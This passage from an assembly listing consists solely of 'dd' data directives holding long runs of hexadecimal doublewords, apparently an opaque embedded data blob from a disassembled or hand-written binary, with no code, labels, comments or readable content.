		dd 180035F0h, 84C039C7h, 26259Dh, 0C6D94D49h, 22445C3h
		dd 39BB2D00h, 8A2F3E92h, 69B00757h, 9FF42BD2h, 0A7D11DA0h
		dd 0D700F83Fh, 70DC8CB3h, 1C65DAB8h, 87F42F2Dh,	0B0BD43B4h
		dd 6B722EE8h, 0E613A801h, 3B087FD6h, 0FE955F4h,	61837743h
		dd 0F2149E20h, 0D818A0E1h, 8990224Bh, 5B0A0E30h, 0ACC0F3B2h
		dd 61AB4451h, 351C6C00h, 0DEA59345h, 25B00317h,	0F8D599FCh
		dd 0D1CC96E0h, 0F7CBE204h, 8C804E14h, 38BE623Dh, 2D836E4Bh
		dd 45387051h, 0B5FA0CC8h, 0E60AF61h, 2C40271Ch,	84E4216h
		dd 0D655FC22h, 0B898F941h, 42AA14CCh, 1B670869h, 36C40865h
		dd 8C302941h
		dd 6189002h, 0D14D40DFh, 41089242h, 761CB03Ch, 8B17BB91h
		dd 51C3025Ah, 2C844BB8h, 58E4C6FDh, 1F951421h, 0AD6C220Ah
		dd 77ED5940h, 88728064h, 68C058A2h, 510C3002h, 590B5C2Ch
		dd 0B12A647Dh, 742F4388h, 7ABE9B4Bh, 3B810050h,	0E76C3A60h
		dd 0F7022D54h, 12826483h, 0CD8157CEh, 0D8B3D625h, 0B50F3A61h
		dd 0E3AB04F9h, 1D630CA4h, 9EAE3D68h, 0F61A0047h, 0DC89FC45h
		dd 62DE8100h, 0AF2A129Ch, 227200F7h, 1FFFCA4Bh,	81008FDDh
		dd 7E4AE1A2h, 70A8928h,	34BEDE2Fh, 876E20F8h, 9B301331h
		dd 8D35E0FFh, 556C0089h, 8EB99FEDh, 72006879h, 5CC72501h
		dd 123DD163h, 795B12Eh,	664C5218h, 5163F003h, 0F8E6BEF9h
		dd 248AC716h, 0BE2C8B78h, 504D5800h, 2BD7304h, 0FAFC0800h
		dd 9209C846h, 8CF03DB3h, 5B1E3300h, 0D50F4730h,	0DBB54505h
		dd 0F1C1F5EBh, 0E451ABA4h, 0D1E41B3Dh, 0BF120043h, 0F92F0FC5h
		dd 7E50A953h, 100CF94h,	0C207E3F4h, 7A2EB4Fh, 6E3CE7A7h
		dd 5B4A15Ah, 0A0B0FBC8h, 4189E0Eh, 1510C5A6h, 8487509Ah
		dd 0CE7039h, 0B58D3738h, 99162555h, 95BF1A00h, 3B52D2E6h
		dd 0C64500CAh, 549BD5D7h, 8C40EC2Eh, 3C4D1B63h,	46F3A840h
		dd 0CC9B25B0h, 0E4B0BD51h, 0E4F2B6ADh, 0FC129100h, 3F72BE13h
		dd 0CB8134D1h, 7709C1C1h, 0E85E052h, 649EFF0Eh,	9A61239Ch
		dd 5C10D04Ah, 358116CFh, 3AF60058h, 7287557Dh, 92603E04h
		dd 24805E8Dh, 784F35h, 52EEF466h, 4BC28033h, 0FADD573Dh
		dd 7E925005h, 0B680977Ch, 1CB5688h, 9F1412D0h, 0E8390BCCh
		dd 66008483h, 0D3DDC6F8h, 303B753Fh, 7B788DAFh,	134C3EA8h
		dd 29500035h, 65E97A9Ch, 5EA330DAh, 5C612A30h, 4FDF3Bh
		dd 0A911ACB1h, 0C294AB3h, 0EE44677Dh, 0AF032D48h, 31A540F6h
		dd 41F5B87Ah, 162E01DCh, 3C73525Bh, 6A36E42Ch, 0D4811727h
		dd 0E64500AAh, 0D518E4EAh, 641EBD00h, 924BAF5Fh, 658B0046h
		dd 9E5B4F5h, 0A1C51DBh,	0E1C0DD74h, 3AA3D3A8h, 85363804h
		dd 1916450Eh, 10DB9500h, 2FA2371h, 1710FE60h, 0BCEAE63h
		dd 0AFFCF3A4h, 85BACA00h, 45002668h, 0D5666223h, 4D5908h
		dd 0FF53C82Bh, 139E56BBh, 7AC1B205h, 13C011C4h,	77C628E0h
		dd 0CA9A7A61h, 5C045310h, 4D73F1Fh, 8ABD00FEh, 0C7FDDE77h
		dd 15190048h, 0BC2D9137h, 551D69B6h, 0ECC194F6h, 8CB1A1ACh
		dd 72642880h, 54FA3723h, 8077BE3Ah, 86B81E26h, 78C1ABA7h
		dd 7998E7h, 82464E8Dh, 37BEB413h, 0C36AE01h, 255EC2B0h
		dd 90325620h, 0D11601D5h, 0F7F0512Ah, 8D451Ch, 76E6611Eh
		dd 0CF1C2127h, 328A8D65h, 170081B1h, 58426493h,	14FF276h
		dd 0B2C6EB88h, 7029F0FAh, 0E00A7ACh, 42CC1E02h,	481F84h
		dd 86C2AB61h, 0B603CAA1h, 1A76F500h, 0F870E5C9h, 269000E9h
		dd 5973CB27h, 0C300AE49h, 0B1FC147Ch, 748F256h,	0AC314D57h
		dd 4865021h, 3F008526h,	152E249Bh, 9A5201h, 2166E22Bh
		dd 57454FD1h, 8EF6183Ch, 2398A1D7h, 0E9021150h,	0B08081E4h
		dd 0A9DB80Ch, 62003B0Bh, 88E87D09h, 1B5874Eh, 0D26A1BB7h
		dd 70E06D56h, 351DFC54h, 0EFC0C3B4h, 7CE5F43Dh,	5445005Eh
		dd 0D919A56Eh, 7D00B8A2h, 152F32EAh, 2A4686Ch, 0EDA8CE5Ch
		dd 9AC02B0Fh, 23000CD1h, 96EEC4B8h, 0F548934Bh,	0CCDF87D1h
		dd 717862ECh, 0C9840F89h, 0C120120Dh, 0AEF529A6h, 6658D0FFh
		dd 5A0762F0h, 0BCB7CE27h, 9E2CAD80h, 554E3871h,	1E433580h
		dd 89366C48h, 21F1B700h, 0E4202A27h, 12320076h,	173BB405h
		dd 230046A1h, 95D202EAh, 7B86AF77h, 782F00DEh, 0A04EE95Eh
		dd 0F70325C1h, 1CA56AA2h, 5D7DE811h, 0D7100D6h,	0A79FC9B5h
		dd 0A43CC302h, 4D118032h, 81C27D8Ch, 0A33500ADh, 582AA7FFh
		dd 531EE2DDh, 0EA0007F8h, 5DA1F7AEh, 43453C2Bh,	0A300DE3Ch
		dd 9AADC233h, 98009C28h, 49FFFEC9h, 500CA8h, 0A4C5D458h
		dd 85AB09F2h, 0E11F1126h, 2956803Dh, 0C8EFAA70h, 0A00400D8h
		dd 2E5FC244h, 24008122h, 0B9FE1C0Ah, 3B1BD08Bh,	0DC00CC4Bh
		dd 1108B63Ch, 0F2009D91h, 5CF50238h, 43E7E3h, 0EC14180Eh
		dd 0A64CE01h, 3400FA98h, 38F91CA8h, 142FFCDh, 17D07EC8h
		dd 0E4F18202h, 0F090E7D5h, 0A6750CB0h, 6397DB00h, 0AA6D5C7Fh
		dd 0F638791Bh, 7867FA1Ch, 39EA0030h, 24B9BD84h,	0E50F72E7h
		dd 0D37505h, 8F5B2179h,	8D7739BCh, 366D7E80h, 0BD50FDF8h
		dd 8BD75400h, 87C9FEB1h, 42D03A7h, 26F0C698h, 0E1679800h
		dd 8E7659FCh, 577D00C1h, 5C9BA5D5h, 9713F140h, 3C00060Ah
		dd 64A86237h, 0B1D50389h, 31EB6646h, 0EC5B69C1h, 8D00C774h
		dd 0C00CB705h, 1BDEF29h, 54C54739h, 87F028C8h, 0E757D314h
		dd 0C5052F05h, 0B5009E08h, 0AEF9C5E0h, 6F0200AAh, 94888FDEh
		dd 5315C42Ch, 1D9058D5h, 24408D31h, 0A0059B9Ch,	7D5B00F1h
		dd 36BDB475h, 0C00A159h, 0AFDCF8D6h, 0BA078Fh, 0A86C7461h
		dd 2FB29C50h, 46CCF300h, 0EFCBF1B1h, 88EB0051h,	0E159D3Bh
		dd 0A101C5E5h, 525C9227h, 9ED1D13Dh, 501F1080h,	0F9D41DFBh
		dd 13729300h, 0E61756C0h, 38294C5Ch, 1AFE5A00h,	0CB7C5E60h
		dd 0A7ED4500h, 449E12A6h, 64DC48A9h, 3132CC0Eh,	6C763600h
		dd 780F30D2h, 75276Bh, 7B9447AEh, 0CD611E25h, 4B8A8098h
		dd 9C8867B6h, 355B83Ch,	2B8E7730h, 495E8879h, 0CA233924h
		dd 0E8267001h, 0CC4A2545h, 0D3011F37h, 0B83BB5A9h, 40CE56B6h
		dd 50E7D4E0h, 7D7449h, 9AB4BD83h, 0BEC8219Ch, 80F88900h
		dd 1D11E456h, 0F5B832h,	16877E1Bh, 45A908DAh, 0D5CC2E00h
		dd 7F28297Ch, 0FF9ECE1h, 89DDD266h, 0E295AA21h,	0E07DDC5Dh
		dd 6BF7000h, 9CCB16F2h,	444502DBh, 48354C80h, 1C55A8C0h
		dd 581EE207h, 18A06098h, 38F31B81h, 2284E49Ch, 83DA0FF9h
		dd 79D80190h, 4300E595h, 8DD8D9B4h, 1E262FE4h, 40935BD3h
		dd 366A497Dh, 44004D61h, 0FE700D8Ah, 9F4E7B0h, 8FF5DF2Ah
		dd 5E2D3480h, 0B3E8D499h, 0D37DA000h, 8426A597h, 4C8503DAh
		dd 9B41240Fh, 25A9FC88h, 7F4D6000h, 45A29051h, 0A8010080h
		dd 5472360Ah, 43000D31h, 0FD74ABADh, 0BF6563h, 0ED97DBAh
		dd 8141E56Eh, 85EF2001h, 13DC5A17h, 19D6FCh, 723B9B3Ah
		dd 705BC15Ch, 0DB3CC61Dh, 4536E70Eh, 0A834519h,	74818D3Fh
		dd 54FC5DE0h, 0E2FED3h,	697C3506h, 0F93D7996h, 0D2D2300h
		dd 0A8D342C2h, 0B5D800AFh, 749F471h, 0DB008905h, 0F2DEC798h
		dd 71A9A10Dh, 0B92E01AEh, 38AA6F60h, 692C70E4h,	0E304D500h
		dd 80B9219h, 0DA953FC1h, 45F9C917h, 806AA040h, 0A8F5E540h
		dd 2501F000h, 56BDF150h, 0EF7CA9h, 69387467h, 0F9FA8CDh
		dd 0BF5A7C0Bh, 0B54881D1h, 0F930DF7Bh, 0C6700EBh, 8056AC1h
		dd 0E63D58E1h, 7C063BAFh, 7E6F930Bh, 5478A4B6h,	0F07930C0h
		dd 7C3800F3h, 4DB10BBh,	9906CB2Bh, 0F209D43Bh, 462C00A1h
		dd 6DE5F677h, 1500A90Fh, 0FD9156E2h, 3C53D01h, 1F1E4434h
		dd 0FAC8E327h, 0E600DF8Bh, 160C5CE5h, 3AC0940h,	83240EC8h
		dd 0A2907CCDh, 3600E39Dh, 6BED7DFAh, 76E8D67h, 571476AFh
		dd 0D4E8407Eh, 0B9000A4Ch, 0D13EBC8h, 3A7CBEh, 2731F636h
		dd 1BF0D1BCh, 0A6A9D800h, 0ACE96EDDh, 3DFE7338h, 0A804281h
		dd 28D91C8h, 0F5001470h, 3DA20F5Bh, 404C08h, 0E8C2243Eh
		dd 1DAA4BECh, 0DE900103h, 0B0C4AE2Dh, 0EDE6FEh,	76B9EF4h
		dd 0A865CCBDh, 0B0B840FDh
		dd 7F14E920h, 90EBDBh, 83A84A4h, 770EB766h, 7C5A3A8Ch
		dd 20FFD018h, 0B200C4C7h, 0B0451C0Dh, 60E61Dh, 9D462A03h
		dd 35473BDFh, 0ED06090Fh, 4011681h, 0E0F1E73h, 85E52025h
		dd 88770h, 1C6CA321h, 0E10C454Dh, 30CF357Ah, 3F62A32Ah
		dd 3A8FD814h, 63580082h, 0F8CAD681h, 88049EEDh,	355CEA9h
		dd 51030014h, 0AC69D107h, 8CB31100h, 0BF7DADFEh, 0E95C2F7Eh
		dd 9430FF50h, 0F76820C5h, 0FBE600ABh, 0C2DA1159h, 383EBE96h
		dd 42809EF4h, 0D19B3640h, 561A86B1h, 0A70190D4h, 4F6607DCh
		dd 0C0370CA8h, 0B2BD8AE1h, 0F5282307h, 4F03C00Ah, 3F3A2F19h
		dd 0E299B8E8h, 0E090923Ch, 2DD000A3h, 0F9C1864Fh, 0FC746B7Fh
		dd 20B9A530h, 3DD30F41h, 4B812694h, 17A91403h, 752D42Eh
		dd 0C16F4F1Eh, 2B3710B0h, 4D541CD5h, 5F5C7A7h, 0C5C8C03Ah
		dd 3600DB5Fh, 0F8C1981Dh, 8A4A8Dh, 12FF8B4Fh, 0A7881BEAh
		dd 5ACA8400h, 222B74EBh, 0AF0B005Fh, 7ACDB507h,	0F47886AAh
		dd 0F2BE6100h, 334CC941h, 7EF100B3h, 2C847DF6h,	5700024Fh
		dd 65EE60D8h, 0F645121h, 0BAF26F23h, 56450F20h,	8E134076h
		dd 9903204Ch, 0F0B637F1h, 301AF0C5h, 0AB1948B7h, 2404BD14h
		dd 0DE477331h, 0DDB24320h, 33E1990h, 79820322h,	0F9EC966Bh
		dd 53608558h, 997B03D7h, 0F2416B2h, 0D3F09AABh,	600092CFh
		dd 0D44ACE6Bh, 0FC54DDh, 2BD2550Dh, 1F516E3Eh, 7DABC901h
		dd 74944FF1h, 1FE24CC4h, 808A630Dh, 427E5CFFh, 0BAF80475h
		dd 1E39EF17h, 7CFF14h, 7D1249F6h, 18A1E276h, 104A2E88h
		dd 790046A6h, 1457D23Fh, 0AEEF82h, 8B9F1DBEh, 0BD8B5ADh
		dd 0F2BF4B00h, 0B45A3CF1h, 7B453874h, 16A8C700h, 96706222h
		dd 9C4FD618h, 802008h, 0CC094CA2h, 9E3BD98Bh, 0B80C0B00h
		dd 919897C2h, 133D3BF1h, 0EEB8FEh, 30456967h, 0A76E50E8h
		dd 8E04F907h, 0D4F0DC83h, 3509EDh, 0F43E34BAh, 43FEA570h
		dd 0D5F114B8h, 497F2A7h, 5A48CD61h, 12D26083h, 6AE856ECh
		dd 0A1003108h, 0D4A4470Ah, 6721C4h, 0B3A04F5h, 0CBDC5D74h
		dd 0A698830Bh, 316A807Ch, 0FA0965F7h, 6E45009Fh, 13C39B54h
		dd 0C03F830Eh, 912A8099h, 144A6AA4h, 627F0E98h,	7760511Dh
		dd 2DE4BFB2h, 0B99F431Dh, 0F8D25C87h, 0C294AE60h, 1C4DE68Bh
		dd 9DD761h, 0D0F2E56Ch,	2C1CAC80h, 0A040EEDBh, 92E72E83h
		dd 0BFAD0E90h, 36A0CBE8h, 2C2F0D35h, 420094E6h,	508E4867h
		dd 0BF52B66h, 0D8EB62C0h, 57001C0Fh, 8EBF1255h,	0CE707E00h
		dd 79B9CAC6h, 26EC0E82h, 1021194Bh, 0E8B220A6h,	1438F411h
		dd 98FA0F0Bh, 9000176Dh, 3CA4B707h, 692A0E44h, 0FDC0B319h
		dd 8478C36Fh, 0CE562201h, 0E0A043E1h, 34961D8h,	9E2381B1h
		dd 0EBC37B08h, 26B359C8h, 45A1A41Ch, 0EE4D2DC1h, 74C44ECFh
		dd 0DF9E007Dh, 0C619814Ch, 0EC001D95h, 6993133Ah, 7D0377Fh
		dd 0B1F4BF99h, 0D3155239h, 7B9DAD40h, 0A6DE7D02h, 8048AF7Eh
		dd 0BC6286F4h, 0DAB800C8h, 0CBB4AD97h, 0F9068267h, 72F493EFh
		dd 90E00511h, 0C033DE7Eh, 49FC3779h, 61A7402h, 841EACC1h
		dd 249191D5h, 1CFCCB85h, 38E0906Ch, 28006623h, 0A78BBA7Bh
		dd 95005CB2h, 0B001E8E3h, 0BDFFFh, 0CF2E9EFBh, 30408159h
		dd 0C6E7DD00h, 6D774F42h, 488E005Bh, 0C93E1435h, 49FEFF20h
		dd 244EDF00h, 0AECD950Ch, 0A3C33A32h, 3503A600h, 0E6292ACh
		dd 0FB12B61Fh, 9D4FC000h, 0D0C783h, 0B823D1Eh, 966F2D59h
		dd 28D79C01h, 8A703875h, 10CA3E0h, 0AFB4E9F1h, 0F0DC616Dh
		dd 73272D45h, 9B976020h, 0AD7C0040h, 117AFBFDh,	1EEEC5AFh
		dd 0C80E200h, 7D352515h, 0DD660730h, 30A6C4ECh,	918BDF5Eh
		dd 0B868B914h, 7040094h, 0E55D4FAh, 1EA20051h, 390845B3h
		dd 1328A4D5h, 2007DD2Eh, 0FA19A733h, 0AAC05137h, 6BB35Bh
		dd 0C2ABFF18h, 0CCDFE267h, 0F2D8EC01h, 0FC708D6Fh, 3E9962DCh
		dd 0E081C306h, 808AF08Bh, 2CB7C89Eh, 0F3F61300h, 4E0FB11Dh
		dd 51963F3Ah, 61A6DA02h, 0C403CAAh, 0B5798A13h,	66AE9000h
		dd 4D0AA340h, 0D88F0FC2h, 0ADA00BE8h, 35A2E4B9h, 0FF849500h
		dd 62BFDBFBh, 0D14600C3h, 0F6053EA6h, 0E0005728h, 0A1B29842h
		dd 1DD873DBh, 0EFB091h,	9A43CE3Bh, 90F6C5DCh, 644AFC00h
		dd 0F9EAA7E6h, 3C25004Ch, 0B5C8CFCAh, 8A017C22h, 0EF9E6753h
		dd 0BBECB88Eh, 41EB1331h, 2339063Eh, 9B00A012h,	0F4ACA5A6h
		dd 0A210B4h, 0A79C1F65h, 94222FD4h, 864D3400h, 0F4A8DC79h
		dd 6A530029h, 78084F01h, 341DD589h, 41035EE8h, 0C803EF02h
		dd 38596657h, 0A601BC28h, 6F1EA5D2h, 9017C0B6h,	0CB1D1301h
		dd 0B4823478h, 122F8BE4h, 7099B5h, 9CB3F272h, 0C5002932h
		dd 0F40FF16h, 0F7F4EAh,	19D16D2Ch, 0ADD52003h, 5001C500h
		dd 829C29BCh, 8BCC58A7h, 48782700h, 98DC7CE5h, 33EAE400h
		dd 0BAED161Eh, 27C000AAh, 3AC9E83Eh, 2C9090C4h,	97E44Ch
		dd 84DBF6D9h, 401B00Eh,	0EC2205F0h, 4487EED0h, 201E6390h
		dd 55DD00A3h, 2FBB7E29h, 1600EE17h, 0B9980D77h,	0E56CC3AAh
		dd 0F9D045EDh, 6392007Eh, 72B6A191h, 0DC00D270h, 0A7B214F2h
		dd 97CB55h, 51BEF407h, 76243EFCh, 0AB55400h, 39F93109h
		dd 40F4FEh, 0EB923FEAh,	0AC0157F3h, 5D45DB00h, 565F6C41h
		dd 0DC490564h, 0AC168073h, 5A4D000Fh, 0E390176h, 0B9B8ABh
		dd 0F0AEDA45h, 7B5FB85Bh, 5AEF510Bh, 43D8004Ah,	0C62F58h
		dd 0CE06F84Ch, 54C370B1h, 0DCBD600h, 9BD30E3h, 3781027Ch
		dd 288BF773h, 8C346EC0h, 0F39CF90Fh, 0E29884EEh, 0D7505081h
		dd 0A073DD4h, 0BD6CEC54h, 0EA3002A4h, 24409561h, 171EBE7Bh
		dd 11C0ED25h, 0A823ECDEh, 971D009Eh, 0ABFDDC57h, 1830F781h
		dd 0B293A0D6h, 0C7B1D5Bh, 0F260078Eh, 0CB41632Bh, 2192ABE0h
		dd 0A6008076h, 4759EB28h, 774BC56h, 13364322h, 6C3C709Ah
		dd 99005B66h, 0ECC1348Bh, 3BE6E04h, 8617286Fh, 56809BB5h
		dd 5300A07Dh, 2B807069h, 147816h, 1FBE071h, 44F9F437h
		dd 0AD2F5B00h, 73FD81CBh, 68961DD1h, 200FBE9Ah,	0D9A0D8FCh
		dd 859E6566h, 89F16E02h, 0E0F42412h, 0E2A3A29Fh, 8B213DEBh
		dd 0BD0DE00h, 5383D297h, 0D803D1F2h, 47ED0EF0h,	0BFC180F8h
		dd 134300A3h, 0DEB54B78h, 68006B42h, 16E5DA5h, 0E2FC15h
		dd 518E6D30h, 5FA94CE1h, 4247F900h, 0A65B224Dh,	20E2C1h
		dd 0DCBBBD43h, 53B80B0Dh, 0ACF4E500h, 1385E18Fh, 0C2E01Fh
		dd 775A2D43h, 33025994h, 7ECABB0Eh, 0F7E3A7CCh,	0EE1CCB80h
		dd 0D171009Dh, 0C24C9942h, 0A43F4A7Dh, 74568031h, 27BDC628h
		dd 8F361F15h, 0E4FE6D1h, 0E307A3A0h, 16D2F09Ch,	8E0F0D86h
		dd 0A56723h, 8FB52891h,	6A3A0024h, 75E13BB6h, 5F7EC745h
		dd 48D26400h, 340CA052h, 0F142007Fh, 2D38A199h,	0F5E2A446h
		dd 0AF889A00h, 42495664h, 0CDDA00CCh, 0DDFD8472h, 613C571Ah
		dd 92FE00A7h, 9E8745A9h, 6B2B00ECh, 9699B665h, 0B0DD9874h
		dd 0AAFCBE80h, 4AEEA2h,	4BDF53CFh, 789CB808h, 6454BD00h
		dd 96DB27DAh, 99610039h, 295715C0h, 6200E83Fh, 6682B088h
		dd 1DE050D4h, 8027DFEDh, 1954DA80h, 0D80C2655h,	9931361Ah
		dd 2279829h, 0AB95E30Bh, 2C968A7Eh, 0CB6C4D00h,	0A12E1F8Ch
		dd 204B5035h, 5FC201D1h, 424E28D4h, 8655E03Fh, 701BB20Ch
		dd 7CA2056h, 0DC1F53FEh, 9F808C6Ah, 1E7D9658h, 5002B02h
		dd 99828806h, 19551D4Dh
		dd 4796C6D2h, 0D81E40A2h, 744009DFh, 713C1497h,	0DBED09B5h
		dd 0F589BADEh, 994DB08h, 5E01C184h, 0D08856D7h,	0E101EAF8h
		dd 5DF5CC30h, 8E4043EFh, 7812A6Eh, 2D3BA046h, 805F77E9h
		dd 0DBB592D5h, 0EEA67C00h, 2B0A75D3h, 0CFE83F9Eh, 0B40D2203h
		dd 0BC909681h, 0EF00AC15h, 106A510h, 5C4CE0F3h,	640E34E7h
		dd 6F63D75Fh, 31F81405h, 8500F208h, 609A8F42h, 5F490AFh
		dd 0F7C14083h, 2AA001E7h, 0D0D4EB70h, 0FF00BDE8h, 13CEF51Fh
		dd 0E073B56Fh, 524C0633h, 30213998h, 0D700EF7Dh, 20923112h
		dd 66EC50h, 6DF4C6E1h, 8609EA4h, 0FF011E73h, 0C3D06FF5h
		dd 0E83015CDh, 7F4014E2h, 380ECC1h, 5B04894h, 0A8595000h
		dd 0EAFA3616h, 925479A0h, 0C9F8E114h, 747100F3h, 0D05A467Bh
		dd 0B400AA98h, 0FD68F988h, 0A8B28BB9h, 7B0A3D4h, 23500913h
		dd 0A783E793h, 36FCD025h, 1901D3EFh, 5D0E9235h,	45C86FCAh
		dd 0D72E0061h, 412968B6h, 4A3AABC2h, 0B9CC01CBh, 17D03655h
		dd 0EC641CFCh, 154800FDh, 0E0763004h, 88A0E892h, 0B2004D0Dh
		dd 778ABC8Dh, 339FD9h, 7D7684ADh, 0A97E8F93h, 0AC980F0Fh
		dd 0F7E978h, 12D5D38h, 9E57307Bh, 3FAD8926h, 1340F0DEh
		dd 0B8A6CC37h, 6CAF3F09h, 8D6AD687h, 60235391h,	8CD4B9h
		dd 634627DBh, 0FD493855h, 84BC45D0h, 6AB0B150h,	0D31D6B01h
		dd 0CEE43731h, 79810D8h, 9A4719FBh, 8F35500Eh, 0DE00C3BAh
		dd 7822921Fh, 3D41CC74h, 96800F1Bh, 0B22A345Ch,	9224F6BAh
		dd 1A00841Ch, 5B36D6F3h, 40450062h, 436DAAABh, 960082A1h
		dd 0A85833E5h, 3C12BCh,	0E47998CEh, 68CC02F0h, 0E69D5606h
		dd 1C2853F3h, 4063900Bh, 0B8BD8FA6h, 9275CD71h,	27BE2E07h
		dd 2531E36Bh, 3F05AA9h,	8430F973h, 29F7037Ch, 0BF3659E1h
		dd 5A13480Eh, 2C0F209Ah, 0ECC99h, 4260D21Ah, 68D39E39h
		dd 4EDF8C00h, 0A83A2912h, 60847C58h, 9FF29DBh, 945B54ECh
		dd 60A25B0h, 0A1396761h, 783961A2h, 5C950091h, 86E92307h
		dd 984E03D6h, 769B7309h, 9DBACD90h, 75A1C8F3h, 38549F30h
		dd 71BA33Ch, 0E2B9D0F5h, 0ED445323h, 36B824ABh,	9B005A45h
		dd 857E46A1h, 769D9Ch, 0E4F0CB4h, 383CFF49h, 0EA00D476h
		dd 1ABD47E5h, 1343BA02h, 1E6CD5Fh, 8DCEC73Ah, 0C337DD81h
		dd 0C4E865B0h, 0A8005C79h, 7191A9B1h, 70F0E5F5h, 0FC70232h
		dd 0C892098Fh, 3510209Ch, 99C16871h, 0E018A07Eh, 9B7B25BDh
		dd 8CFD2F00h, 21C50320h, 53C20137h, 95C78BB5h, 0CE688306h
		dd 908DAF7Dh, 0CCA89Bh,	0B82A0C92h, 0F647D525h,	4D9A4000h
		dd 9D604F0Fh, 282B021Ch, 0B5DED71h, 0CB7AD981h,	0A3088747h
		dd 6FE38522h, 0E0788226h, 88B356h, 7479F649h, 0D5BBFF81h
		dd 4B3BA37Ch, 65EB806Dh, 1D12429Dh, 170E0680h, 50C5A2D1h
		dd 94189B07h, 450BEEBh,	0C031FD92h, 3687A2B0h, 7D06F55Dh
		dd 0E5E4ECC9h, 99A13FB8h, 148C3903h, 0C81B3FEh,	0C8805CBCh
		dd 0BED37D08h, 0C598D8A8h, 0D50082FEh, 67599D6Dh, 0A7BFE27h
		dd 1D2C3848h, 0DE2883F0h, 0D5F8906Eh, 5200FB33h, 5B655D85h
		dd 799179Ah, 42F2DD13h,	30ABB72Ch, 95D3800Eh, 0D93F7302h
		dd 60941BF1h, 9D6135h, 0CD83C02Eh, 8951560Eh, 20A13E29h
		dd 0DB4C66C1h, 360ED90Ch, 602A9C76h, 0DFA7FB10h, 0ED070AECh
		dd 87D0056Ah, 0D0A2F566h, 3F86CED5h, 0BD59CC1Dh, 0BE263BC5h
		dd 0FDB8C803h, 0E84F905Ch, 0A21D01F7h, 0EA1E62A0h, 0FE16E458h
		dd 714BDA03h, 0F8A915DDh, 5499093Ch, 305FCA5h, 30F8A602h
		dd 7A06D55h, 4F0BBAE6h,	56709FB0h, 0D2800CB5h, 9A0939D0h
		dd 56155B52h, 3140300Eh, 0C50955B2h, 339D6Ah, 5C5DA724h
		dd 90300170h, 275B7EBh,	50E8D721h, 0C2B020E7h, 470E8177h
		dd 94EE5DC6h, 80C33824h, 43F4B22h, 0A2EB64h, 9E5CFA8Dh
		dd 7249954h, 0E4F8347Ah, 0A9120800h, 164450ABh,	980B0E52h
		dd 8D40AD46h, 8C2155A7h, 11FA3100h, 974A3AA2h, 0B2122415h
		dd 1C830F2h, 7A30A1EFh,	1B9E38AAh, 77F1078Eh, 0C0E17058h
		dd 0ACCDED3Dh, 24C69300h, 0E3557C41h, 8BB1265h,	0C3A000A7h
		dd 7BF3DDA3h, 91A12100h, 0E6C9478Fh, 84DE1FE0h,	2A9BC06Fh
		dd 0F690A61Ah, 30D73400h, 0CD6C4938h, 157D9Dh, 5D0C451Bh
		dd 241D53E9h, 81E3751Dh, 19563600h, 3E86052h, 5C43D73Bh
		dd 1903396Ch, 77E9427Dh, 3BC9A061h, 0FABA00C6h,	863E2FBDh
		dd 4A038D1Ah, 3DF56993h, 0B0BCD045h, 0C07CF616h, 3CF06530h
		dd 9B000CB5h, 4480D593h, 269D68BAh, 0EAACB3h, 37D99E78h
		dd 0F73053A2h, 8307D976h, 0AC994CDEh, 0F20E1700h, 7BA4AC36h
		dd 0F91D5807h, 0FEF0AE4Dh, 1202A5h, 59E470Dh, 0BEFDC776h
		dd 0C1301C77h, 20CB4EE5h, 0B0374C8Eh, 0E46316h,	500458B2h
		dd 2B0FD154h, 0EE2F310Fh, 270E40CBh, 7B9D5DCh, 40321E85h
		dd 4F9A033h, 420163EAh,	0AE2B1FCCh, 52E0230Ch, 908EF064h
		dd 0D5F01DCAh, 60F34120h, 80B408F7h, 19F9C54Ah,	3BEF4h
		dd 0F61CFE4h, 1E5F4F2Ah, 0A83E0828h, 0FC4CFD00h, 0AE6C6DC6h
		dd 0E1620091h, 1F3F071Bh, 76268781h, 7C03AD35h,	0E950A9h
		dd 5F101C88h, 0A581A2Fh, 0FC312603h, 80F9BDB5h,	281EE827h
		dd 3C07ED5h, 770B3DC8h,	3BB34F6Ah, 0ABD407E0h, 43D0B718h
		dd 2FD680h, 0AD2DAF96h,	0CA19BBF9h, 6F394904h, 880E552h
		dd 83378Dh, 41355FB1h, 0FF9880F4h, 6B49BE00h, 0A6BDE491h
		dd 2200024h, 0B6530E77h, 0BE1C9D6Ch, 57010725h,	5408A483h
		dd 0E72102C7h, 16306EC1h, 0CE6B240h, 0E4649600h, 0A70D2B28h
		dd 3493005Bh, 46D5C28Dh, 0E6007567h, 1C823D39h,	0FDF71h
		dd 0E7A7162Dh, 0F17E989Fh, 533AB81Eh, 0DF54DE80h, 32431F4h
		dd 0AA6C78E3h, 8BF9195Eh, 0F320806Eh, 751FEE14h, 99FD286Fh
		dd 12C300FFh, 0DD87F694h, 81C0E93Ah, 0D64EBB53h, 2D6403C7h
		dd 18849AE5h, 12B637D0h, 32B29600h, 13FD33DBh, 14B97CB3h
		dd 209D78F7h, 0DFF93F0Fh, 2D9F5340h, 1E0A445h, 0C0DE4130h
		dd 0A4288A54h, 0F4ED025Ch, 3C132463h, 0B92264E3h, 82791C77h
		dd 0C48D00F4h, 0E1F95A23h, 0FB2A48h, 0A6FCBF8Bh, 3ED5FDB7h
		dd 0B1B0473Fh, 64695990h, 17122900h, 3CEDA463h,	0AE6F001Ah
		dd 0A0F18CFEh, 107631C8h, 56339A00h, 0D3F66B61h, 6CE20030h
		dd 39362262h, 0D00307B0h, 9BC1BFF7h, 690890CEh,	0A4FD00ACh
		dd 0F4A1BD0Eh, 3103BB91h, 8BA79E54h, 0FCD78806h, 0C6380076h
		dd 7AEEDD5Eh, 6E0001CDh, 0DC2F8580h, 3D82FE9Eh,	32804319h
		dd 410A4F28h, 9307C92Dh, 74A215DEh, 0A870B890h,	913B0079h
		dd 277CC8EFh, 8A01AF4Bh, 73516825h, 86DC95E3h, 0C16B1F15h
		dd 494601A3h, 0FC5A922Ch, 810038E7h, 14A5805h, 0C0267923h
		dd 86FDA420h, 0E810D389h, 0E50CDB22h, 1B598516h, 8AC69600h
		dd 75361F30h, 41F8A0h, 892EF40Ch, 77E44C43h, 9F0088FCh
		dd 0A3908AC9h, 3DC2893h, 164D27FEh, 7CE0AC9Ch, 1C266CAEh
		dd 700FEEAh, 1A655AF5h,	0C31D5C88h, 0E580C207h,	0B59D6087h
		dd 8409BF27h, 204339h, 0AC7C794Eh, 3DA1C38h, 0DB4FC0F4h
		dd 0FA7BB4EAh, 62EF2800h, 0FC367216h, 24303F91h, 53517680h
		dd 7B5FE9CFh, 40222907h, 0DF84A1h, 90DF6D86h, 0F657008Dh
		dd 0B062B658h, 0C1ECE8ADh, 43D37300h, 0E4523189h, 0C0C707FCh
